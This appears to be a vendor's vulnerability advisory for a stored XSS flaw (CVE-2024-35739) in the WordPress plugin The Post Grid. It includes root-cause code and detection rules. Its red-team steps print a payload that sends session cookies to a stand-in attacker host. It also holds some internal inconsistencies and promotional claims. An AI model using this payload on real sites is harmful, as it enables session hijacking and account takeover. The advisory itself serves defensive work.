CVE-2024-35739
Executive Summary
CVE-2024-35739 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "The Post Grid" by RadiusTheme, affecting versions up to and including 7.7.1. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages generated by the plugin. When a victim (such as an administrator) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for affected WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Post Grid is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from RadiusTheme. Since no patch is available, site administrators must consider temporary mitigations such as disabling the plugin or restricting user roles.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – However, exploitation requires an authenticated user with contributor-level access.
- User Interaction (UI): Required – The victim must visit a crafted page.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress plugins elevate the risk for unmanaged sites.
Deep Dive & Mechanics
The vulnerability resides in the the-post-grid plugin's handling of user input when generating post grid displays. The plugin fails to sanitize or escape user-supplied data (e.g., post titles, custom fields, or shortcode attributes) before rendering them in the HTML output. An attacker with contributor-level access can create or edit a post and inject malicious JavaScript into a field that is later displayed by the grid. When an administrator or other user views the grid page, the script executes in their browser context.
Attack Flow:
- Attacker logs in as a contributor (or higher role).
- Attacker creates a new post or edits an existing one, inserting a payload like
<script>alert('XSS')</script>into a title or custom field. - The plugin renders the post grid, outputting the unsanitized payload.
- Victim (e.g., admin) visits the page containing the grid.
- The script executes, allowing the attacker to steal cookies, redirect users, or perform actions on behalf of the victim.
Root Cause: The plugin uses functions like echo $post->post_title or the_title() without applying WordPress's escaping functions (e.g., esc_html(), esc_attr()). This is a classic stored XSS pattern.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.
Vulnerable Code (Example from plugin template):
<div class="post-title">
<?php echo $post->post_title; ?>
</div>
Patched Code (Hypothetical):
<div class="post-title">
<?php echo esc_html( $post->post_title ); ?>
</div>
The patched version uses esc_html() to neutralize HTML and script tags, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with "The Post Grid" plugin <= 7.7.1.
- Contributor-level account or higher.
Steps:
- Log in as a contributor.
- Create a new post. In the title field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- Ensure the post grid shortcode or widget is configured to display this post.
- Send the victim (e.g., admin) a link to the page containing the grid.
- When the victim views the page, the script executes, exfiltrating their session cookie.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts containing
<script>tags in titles or custom fields. - Review server logs for requests to suspicious external domains from admin pages.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
Hardening:
- Disable the plugin until a patch is released.
- Restrict contributor roles to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
- File Hashes (Plugin Files): (No specific hashes available; verify plugin integrity via checksums from WordPress.org.)
- Network Indicators: Outbound HTTP requests to attacker-controlled domains containing
document.cookieor similar. - Log Entries: POST requests to
/wp-admin/post.phpwith payloads containing<script>tags. - Database Indicators: Posts with titles or meta fields containing JavaScript code.
Detection Engineering
YARA Rule
rule CVE_2024_35739_XSS_WordPress {
meta:
description = "Detects potential XSS payloads in WordPress post titles or content related to The Post Grid plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-35739"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$plugin_path = /wp-content\/plugins\/the-post-grid/
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: CVE-2024-35739 - Stored XSS in The Post Grid Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via post creation in WordPress with The Post Grid plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
sc-status: 200
keywords:
- '<script'
- 'onload='
- 'onerror='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in posts by administrators
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-35739 - Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script"; nocase; within:100; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Restrict user roles – Only allow trusted users to have contributor access or higher.
- Apply virtual patching via WAF rules to block common XSS payloads.
Long-Term Fix:
- Monitor the RadiusTheme website or WordPress plugin repository for an official patch.
- Once patched, update to the latest version immediately.
- Conduct a security audit of all posts and custom fields for injected scripts.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.